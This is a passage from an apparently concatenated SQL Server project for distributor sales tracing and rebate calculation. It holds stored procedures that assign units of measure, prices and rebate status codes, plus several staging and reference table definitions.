SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.CS_PRICE) AND (1.4*D.CS_PRICE) THEN 'CS'
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.BX_PRICE) AND (1.4*D.BX_PRICE) THEN 'BX'
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.EA_PRICE) AND (1.4*D.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_dev].[STAGE].[DIST_PRICE] D
ON S.DIST_NR = D.DISTID and S.[UPD_PROD_ID] = D.ITEMID
AND S.INV_DT_NR BETWEEN D.EFFDATE AND (D.EXPDATE + 600) -- OUT THE DOOR PRICE, SO GIVING 6 MONTHS SHELF LIFE
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'DIST'
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- Try CONT Price
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.CS_PRICE) AND (1.4*CNT.CS_PRICE) THEN 'CS'
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.BX_PRICE) AND (1.4*CNT.BX_PRICE) THEN 'BX'
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.EA_PRICE) AND (1.4*CNT.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN
(SELECT [Contract ID], ITEMID, [Contract Price] AS CS_PRICE, C.[Contract Price]/L.BX BX_PRICE,
C.[Contract Price]/L.EA EA_PRICE, L.BX, L.EA, C.[Eff Date], C.[Exp Date]
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON C.ITEMID = L.[ITEM NO]) AS CNT
ON S.[UPD_CNT_ID] = CNT.[Contract ID] AND S.[UPD_PROD_ID] = CNT.ITEMID
WHERE
[TRC_UPD_UNIT] IS NULL
AND [TRC_PRC_TYP] = 'DIST'
AND S.[TRC_CNT_PRC] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- TRY LIST PRICE
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.CS_PRICE) AND (1.4*L.CS_PRICE) THEN 'CS'
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.BX_PRICE) AND (1.4*L.BX_PRICE) THEN 'BX'
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.EA_PRICE) AND (1.4*L.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON S.[UPD_PROD_ID] = L.[ITEM NO]
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'DIST'
AND S.[TRC_LIST_PRC] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
--------------------------------------------------------------------------------------------------
--- 3.3 For 'LIST' Price Type -- Will try out all 3 type of prices - in the order of LIST, DIST, CNT
---------------------------------------------------------------------------------------------------
-- TRY LIST PRICE
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.CS_PRICE) AND (1.4*L.CS_PRICE) THEN 'CS'
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.BX_PRICE) AND (1.4*L.BX_PRICE) THEN 'BX'
WHEN S.[TRC_LIST_PRC] BETWEEN (0.6*L.EA_PRICE) AND (1.4*L.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON S.[UPD_PROD_ID] = L.[ITEM NO]
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'LIST'
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- TRY DIST PRICE
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.CS_PRICE) AND (1.4*D.CS_PRICE) THEN 'CS'
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.BX_PRICE) AND (1.4*D.BX_PRICE) THEN 'BX'
WHEN S.[TRC_DIST_PRC] BETWEEN (0.6*D.EA_PRICE) AND (1.4*D.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_dev].[STAGE].[DIST_PRICE] D
ON S.DIST_NR = D.DISTID and S.[UPD_PROD_ID] = D.ITEMID
AND S.INV_DT_NR BETWEEN D.EFFDATE AND D.EXPDATE
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'LIST'
AND S.[TRC_DIST_PRC] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
-- Try CONT Price
UPDATE S
SET [TRC_UPD_UNIT] =
CASE
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.CS_PRICE) AND (1.4*CNT.CS_PRICE) THEN 'CS'
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.BX_PRICE) AND (1.4*CNT.BX_PRICE) THEN 'BX'
WHEN S.[TRC_CNT_PRC] BETWEEN (0.6*CNT.EA_PRICE) AND (1.4*CNT.EA_PRICE) THEN 'EA'
END
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN
(SELECT [Contract ID], ITEMID, [Contract Price] AS CS_PRICE, C.[Contract Price]/L.BX BX_PRICE,
C.[Contract Price]/L.EA EA_PRICE, L.BX, L.EA, C.[Eff Date], C.[Exp Date]
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON C.ITEMID = L.[ITEM NO]) AS CNT
ON S.[UPD_CNT_ID] = CNT.[Contract ID] AND S.[UPD_PROD_ID] = CNT.ITEMID
WHERE
S.[TRC_UPD_UNIT] IS NULL
AND S.[TRC_PRC_TYP] = 'LIST'
AND S.[TRC_CNT_PRC] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
--------------------------------------------------------------------------------------------------
--- 3.4 Remaining from the correction file
---------------------------------------------------------------------------------------------------
UPDATE S
SET S.TRC_UPD_UNIT = X.UPD_UOM
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN PDI_SALESTRACING_DEV.STAGE.TRC_UOM_CORR_XREF X ON S.DIST_NR = X.DIST_NR AND S.TRC_UNIT = X.TRC_UOM
WHERE
[TRC_UPD_UNIT] IS NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
--- FOR THE REST RAISE A FLAG
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET ERR_CD = 'UOM'
WHERE
[TRC_UPD_UNIT] IS NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
-----------------------------------------------------------------------------------------------------
---Remove or comment out later
/*
if @debug = 1
select trc_prod_id,trc_cnt_id,trc_prc_typ,inv_id,inv_dt,trc_unit,trc_qty_sld
,trc_cnt_prc,trc_list_prc,trc_dist_prc,trc_cs_prc,trc_UPD_unit,trc_sales_amt,list_cs_prc
from [STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
where S.SALES_Period = @vSales_Period
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
*/
-- if TRC_UPD_UNIT is not updated still use what came in
--------------------------------------------------------------------
--- SHOULD WE REMOVE This One
-------------------------------------------------------------------
--- The last few remaining
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_UPD_UNIT] =
CASE
WHEN [TRC_UNIT] IN ('BX','EA','CS') THEN [TRC_UNIT]
WHEN [TRC_UNIT] IN ('TU','TB','BG','PK','PH') THEN 'BX'
WHEN [TRC_UNIT] = 'CA' THEN 'CS'
END
WHERE [TRC_UPD_UNIT] IS NULL
AND [ERR_CD] = 'UOM'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
--- FOR THE REST Exclude from calculation
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [SLS_CALC_STAT] = 'E'
WHERE
[TRC_UPD_UNIT] IS NULL
AND [ERR_CD] = 'UOM'
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
;
------------------------------------------------------------------
--- Calculate the case quantity
------------------------------------------------------------------
UPDATE S
SET [UPD_CS_QTY] = CASE
WHEN S.[TRC_UPD_UNIT] = 'CS' THEN S.[TRC_QTY_SLD]
WHEN S.[TRC_UPD_UNIT] = 'BX' THEN S.[TRC_QTY_SLD]/L.[BX]
WHEN S.[TRC_UPD_UNIT] = 'EA' THEN S.[TRC_QTY_SLD]/L.[EA]
END
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[LIST_PRICE] L ON [UPD_PROD_ID] = L.[ITEM NO]
WHERE S.[TRC_UPD_UNIT] IS NOT NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
------------------------------------------------------------------
--- Get CNT Price first. But before initialize
------------------------------------------------------------------
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [UPD_CS_PRC] = NULL, [UPD_PRC_TYP] = NULL
WHERE [SLS_CALC_STAT] = 'P';
UPDATE S
SET
S.[CNT_EXP_DT] = C.[Exp Date],
S.[UPD_CS_PRC] = C.[Contract Price],
S.[UPD_PRC_TYP] = 'CONT',
S.[CNT_EXP_DAYS] = DATEDIFF(Day, C.[Exp Date],S.INV_DT)
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C
ON (S.[UPD_CNT_ID] = C.[Contract ID] -- CNT_ID Corrected by corr xref table
AND S.[UPD_PROD_ID] = C.[ITEMID]
AND S.[INV_DT] BETWEEN C.[Eff Date] AND DATEADD(m,1,C.[Exp Date]) )
WHERE
S.[TRC_PRC_TYP] = 'CONT'
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
------------------------------------------------------------------
--- Then Get Dist Case Price
------------------------------------------------------------------
UPDATE S
SET
S.[UPD_CS_PRC] = D.[CS_PRICE],
S.[UPD_PRC_TYP] = 'DIST'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_dev].[STAGE].[DIST_PRICE] D
ON S.DIST_NR = D.DISTID and S.[UPD_PROD_ID] = D.ITEMID
AND INV_DT_NR BETWEEN D.EFFDATE AND (D.EXPDATE+600) -- 6 months grace period for shelf life
WHERE
S.[UPD_PRC_TYP] IS NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID])
;
------------------------------------------------------------------
--- Remaining is List Price
------------------------------------------------------------------
UPDATE S
SET
S.[UPD_CS_PRC] = L.[CS_PRICE],
S.[UPD_PRC_TYP] = 'LIST'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].STAGE.List_Price L ON S.[UPD_PROD_ID] = L.[ITEM NO]
WHERE
S.[UPD_PRC_TYP] IS NULL
AND S.[SLS_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
--- 10% DISCOUNT FOR AMD, MEDPLUS, MSD, NDC -- Need to manage this through interface ant table
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [UPD_CS_PRC] = [UPD_CS_PRC]*0.9
WHERE [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
AND DIST_NR IN ( 'C00104','C00102','C00103','132550') ;
---------------------------------------------------------------------
----- SALES AMOUNT CALCULATION ---
---------------------------------------------------------------------
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[UPD_SALES_AMT] = [UPD_CS_QTY] * [UPD_CS_PRC]
--,[SLS_CALC_STAT] = 'C'
WHERE
[SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
---------------------------------------------------------------------
--- R E B A T E C A L C U L A T I O N ---
---------------------------------------------------------------------
--- R E S E T ------
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[RBT_STAT_CD] = NULL,
[UPD_RBT_AMT] = 0
WHERE [RBT_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
--- FILE CAME 45 DAYS AFTER INV_DT --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[RBT_STAT_CD] = 'LS',
[UPD_RBT_AMT] = 0,
[RBT_CALC_STAT] = 'E'
WHERE
CONVERT(DATE,[YEAR]+'-'+[MNTH]+'-'+[DAY]) > DATEADD(DAY,47,[INV_DT])
AND [RBT_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- assuming we loaded it right away -- This is manual - so needs to allow extra time?
------------------------------
-- CORRECTION TO CNT NUMBER --
------------------------------
-- Will only fix GPO Contract number to PDI contract number
UPDATE S
SET S.[RBT_CNT_ID] = X.UPD_CNT_ID
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[TRC_CNT_CORR_XREF] X
ON S.TRC_CNT_ID = X.TRC_CNT_ID AND S.UPD_PROD_ID = X.PROD_ID
AND X.TRC_CNT_TYP = 'GPO'
WHERE
S.[RBT_CALC_STAT] = 'P'
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
------------------------------
--- VALID CONTRACT --
------------------------------
UPDATE S
SET
[RBT_STAT_CD] = 'VC',
[CNT_EXP_DT] = C.[Exp Date],
[UPD_RBT_AMT] = ([RBT_LIST_PRC] - C.[Contract Price])*S.[UPD_CS_QTY] ,
S.RBT_VAR = TRC_EXT_RBT_AMT - [UPD_RBT_AMT],
RBT_CALC_STAT = 'C'
FROM
[PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C
ON (S.[RBT_CNT_ID] = C.[Contract ID]
AND S.[UPD_PROD_ID] = C.[ITEMID]
AND S.[INV_DT] BETWEEN C.[Eff Date] AND DATEADD(m,1,C.[Exp Date]) )
WHERE
RBT_CALC_STAT = 'P'
AND LEN(S.RBT_CNT_ID) > 0
-- AND s.[RBT_STAT_CD] IS NULL
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
and S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
------------------------------------------------------------------
--- CONTRACT EXPIRED - EXCEPTION
------------------------------------------------------------------
UPDATE S
SET
[RBT_STAT_CD] = 'EC', -- Expired Contract
[CNT_EXP_DT] = C.[Exp Date],
[UPD_RBT_AMT] = 0,
[RBT_CALC_STAT] = 'E'
FROM [PDI_SALESTRACING_DEV].STAGE.SALES_TRACING_CURR S
JOIN (SELECT [Contract ID], ITEMID, MAX([Exp Date]) AS [Exp Date]
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE]
GROUP BY [Contract ID], ITEMID ) C
ON (S.[RBT_CNT_ID] = C.[Contract ID]
AND S.[UPD_PROD_ID] = C.ITEMID
AND S.[INV_DT] > DATEADD(m,1,C.[Exp Date]))
WHERE
S.[RBT_CALC_STAT] = 'P'
AND S.[RBT_STAT_CD] = NULL
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND S.[DIST_ID] = isnull(@vDIst_Id,S.[DIST_ID]);
--------------------------------------------------
--- CONTRACT DOES NOT EXIST - EXCEPTION ---
--------------------------------------------------
/*
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET
[RBT_STAT_CD] = 'IC', -- Invalid Contract
[UPD_RBT_AMT] = 0,
[RBT_CALC_STAT] = 'E'
WHERE
[RBT_CNT_ID] NOT IN
(SELECT DISTINCT C.CONTRACT_NO FROM STAGE.DIM_CONTRACT C WHERE S.[INV_DT] <= DATEADD(m,1,C.[Exp Date]))
AND S.[RBT_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ; */
--- INVALID CONTRACT ID
UPDATE S
SET
[RBT_STAT_CD] = 'IC', -- Invalid Contract ID
[UPD_RBT_AMT] = 0,
[RBT_CALC_STAT] = 'E'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
LEFT JOIN [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] C
ON S.[RBT_CNT_ID] = C.[Contract ID]
WHERE S.[RBT_CALC_STAT] = 'P'
AND C.[Contract ID] IS NULL
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ;
-----------------------------------------------------------------------------
--- PRODUCT NOT ON CONTRACT - EXCEPTION ---
-----------------------------------------------------------------------------
-- First find a data set of contract and item from contract PRICE tabl
UPDATE S
SET RBT_STAT_CD = 'IP', -- Invalid Product
[UPD_RBT_AMT] = 0,
[RBT_CALC_STAT] = 'E'
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] S
LEFT JOIN (
SELECT DISTINCT ci.[Contract ID], ci.ITEMID
FROM [PDI_SALESTRACING_DEV].[STAGE].[CONT_PRICE] ci
JOIN
(SELECT DISTINCT [RBT_CNT_ID]
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
WHERE [RBT_CALC_STAT] = 'P') ii
ON ci.[Contract ID] = ii.[RBT_CNT_ID] ) C
ON S.[RBT_CNT_ID] = C.[Contract ID] AND S.[UPD_PROD_ID] = C.ITEMID
WHERE S.[RBT_CALC_STAT] = 'P'
AND C.ITEMID IS NULL
AND S.[SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ;
--- WRONG CALCULATION
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET RBT_STAT_CD = 'WC' -- WRONG CALCULATION
WHERE (TRC_EXT_RBT_AMT - [UPD_RBT_AMT]) > 0.14
AND [RBT_STAT_CD] = 'VC'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ;
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET RBT_STAT_CD = 'IV' -- Insignificant Variance
WHERE (TRC_EXT_RBT_AMT - [UPD_RBT_AMT]) < 0.15
AND [RBT_STAT_CD] = 'VC'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]) ;
END<file_sep>/PDI_SALESTRACING_DEV/VT_TEST/Tables/NOT_IN_VT.sql
CREATE TABLE [VT_TEST].[NOT_IN_VT] (
[COACCTID] VARCHAR (20) NULL,
[COACCTSHIPNAME] VARCHAR (100) NULL,
[COACCTSHIPADDR1] VARCHAR (100) NULL,
[COACCTSHIPADDR2] VARCHAR (50) NULL,
[COACCTSHIPCITY] VARCHAR (100) NULL,
[COACCTSHIPSTATE] VARCHAR (2) NULL,
[COACCTSHIPZIP] VARCHAR (10) NULL,
[SLS_AMT] NUMERIC (38, 2) NULL,
[DISTACCT_COUNT] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_TASK.sql
CREATE TABLE [PCM].[PCM_TASK] (
[TASK_ID] INT NULL,
[TASK_NM] VARCHAR (50) NULL,
[TASK_DESC] VARCHAR (50) NULL,
[ACTIVE_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/NAME_CORR.sql
CREATE TABLE [REF].[NAME_CORR] (
[NM_VAR] VARCHAR (50) NULL,
[NM_STD] VARCHAR (400) NULL,
[CAT] VARCHAR (50) NULL,
[SUB_CAT] VARCHAR (20) NULL,
[REC_ACT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spMatch_MasterData_3k.sql
CREATE PROCEDURE [STAGE].[spMatch_MasterData_3k]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE STAGE.TRC_ENDUSER_3K
SET COMPANY_ID = NULL;
SELECT *, UPD_ADDR1, UPD_ADDR2
FROM STAGE.TRC_ENDUSER_3K
UPDATE E
SET COMPANY_ID = C.CMPNY_ID
FROM STAGE.TRC_ENDUSER_3K E
JOIN CMPNY.COMPANY C ON E.UPD_ADDR1 = C.CMPNY_ADDR_1 AND E.DISTACCTSHIPZIP = C.CMPNY_ZIP
AND C.CMPNY_ADDR_2 IS NULL AND E.UPD_ADDR2 IS NULL
UPDATE E
SET COMPANY_ID = C.CMPNY_ID
FROM STAGE.TRC_ENDUSER_3K E
JOIN CMPNY.COMPANY C ON E.UPD_ADDR1 = C.CMPNY_ADDR_1 AND E.UPD_ADDR2 = C.CMPNY_ADDR_2 AND E.DISTACCTSHIPZIP = C.CMPNY_ZIP
AND C.CMPNY_ADDR_2 IS NOT NULL AND E.UPD_ADDR2 IS NOT NULL
UPDATE E1
SET E1.COMPANY_ID =E2.COMPANY_ID
FROM STAGE.TRC_ENDUSER_3K E1
JOIN STAGE.TRC_ENDUSER_3K E2 on E1.DISTCOID = e2.DISTCOID AND E1.DISTACCTID = E2.DISTACCTID AND E1.DISTACCTSHIPZIP = E2.DISTACCTSHIPZIP
AND E1.COMPANY_ID IS NULL AND E2.COMPANY_ID IS NOT NULL
WHERE E2.DISTID in ('CARDINAL','OWNMIN','SCHEIN','SENECA','MOOREM','MEDLINE','HCA','NDC','CROSSTEX','PALMTREE','CARDPRES','TWINMD','MEDDYN','AEROMD','TRINITY')
and E2.UPD_ADDR1 NOT IN ('NO ADRESS','INVALID ADDRESS')
UPDATE STAGE.TRC_ENDUSER_3K
SET Match_by_Addr = 1
WHERE COMPANY_ID IS not null
UPDATE E
SET COMPANY_ID_MAX = X.HOSPITAL_ID
FROM STAGE.TRC_ENDUSER_3K E
JOIN STAGE.PDI_MAX_TO_DEFHC_CROSSWALK X ON E.COACCTMAX = X.CompanyId
JOIN STAGE.DHC_COMPANY C ON X.HOSPITAL_ID = C.DHC_CO_ID
UPDATE STAGE.TRC_ENDUSER_3K
SET COMPANY_ID = COMPANY_ID_MAX, Match_by_MAX = 1
WHERE COMPANY_ID_MAX IS NOT NULL AND COMPANY_ID IS NULL
END;<file_sep>/PDI_SALESTRACING_DEV/TRC/Tables/SLS_TRC_LOAD_DTL.sql
CREATE TABLE [TRC].[SLS_TRC_LOAD_DTL] (
[LOAD_ID] INT IDENTITY (301, 1) NOT NULL,
[DIST_ID] VARCHAR (15) NULL,
[DIST_TRC_NM] VARCHAR (15) NULL,
[SALES_PERIOD] VARCHAR (10) NULL,
[RECVD_DTE] INT NULL,
[LOAD_STAT] VARCHAR (20) NULL,
[REC_CNT] DECIMAL (32) NULL,
[REC_CNT_CALC] DECIMAL (32) NULL,
[REC_CNT_REC_REQD] DECIMAL (32) NULL,
[CS_QTY] DECIMAL (18, 2) NULL,
[ROLLING_6_MN_AV_QTY] DECIMAL (18, 2) NULL,
[ROLLING_12_MN_AV_QTY] DECIMAL (18, 2) NULL,
[SALES_AMT] DECIMAL (18, 2) NULL,
[ROLLING_6_MN_AV_AMT] DECIMAL (18, 2) NULL,
[ROLLING_12_MN_AV_AMT] DECIMAL (18, 2) NULL,
[PROC_STAT] VARCHAR (20) NULL,
[SRC_FILE_TYP] CHAR (3) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_ERR_UCI.sql
CREATE PROCEDURE [TRC].[spTRC_GET_ERR_UCI]
@vSales_Period varchar(10), @vDIST_ID varchar(20) = null
WITH EXEC AS CALLER
AS
BEGIN
SELECT
DISTINCT DIST_ID, DIST_NR, SALES_PERIOD,TRC_CNT_ID as CNT_ID, L.LKUP_CD_DES as Err_Desc
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR] S
JOIN PDI_SALESTRACING_DEV.REF.LKUP_CD L ON S.ERR_CD = L.LKUP_CD AND L.LKUP_DOMAIN_CD = 'SLS_TRC_CALC' AND L.CD_TYP = 'ERROR'
WHERE S.Err_Cd = 'UCI'
AND S.SALES_PERIOD = isnull(@vSales_Period,S.SALES_PERIOD)
AND S.DIST_ID = isnull(@vDIST_ID,S.DIST_ID)
END<file_sep>/PDI_SALESTRACING_DEV/Security/EDI.sql
CREATE SCHEMA [EDI]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CONT_EDI_TRACING.sql
CREATE TABLE [STAGE].[CONT_EDI_TRACING] (
[dist_id] VARCHAR (15) NULL,
[item_no] VARCHAR (15) NULL,
[qty] DECIMAL (38, 8) NULL,
[uom_dis] VARCHAR (15) NULL,
[cs_pr_sys] DECIMAL (38, 8) NULL,
[ea_pr] DECIMAL (38, 8) NULL,
[total_sales] DECIMAL (38, 2) NULL,
[total_qty] DECIMAL (38, 8) NULL,
[date1] DATE NULL,
[inv] VARCHAR (15) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/STATE_LIST.sql
CREATE TABLE [REF].[STATE_LIST] (
[ST] CHAR (2) NULL,
[ST_TYP] VARCHAR (50) NULL,
[FULL_NM] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spDSPLY_PND_PRC_AUTH.sql
CREATE PROCEDURE [CNT].[spDSPLY_PND_PRC_AUTH]
WITH EXEC AS CALLER
AS
BEGIN
SELECT GPO_NM AS GPO, GPO_MBR_ID, GPO_MBR_NM AS [NAME], GPO_MBR_ADDR1 [ADDR], GPO_MBR_CITY [CITY], GPO_MBR_ST [ST], GPO_MBR_ZIP [ZIP], MFG_CNT_NR [CNT NR], TIER_NR [TIER]
FROM CNT.PRC_AUTH_EB
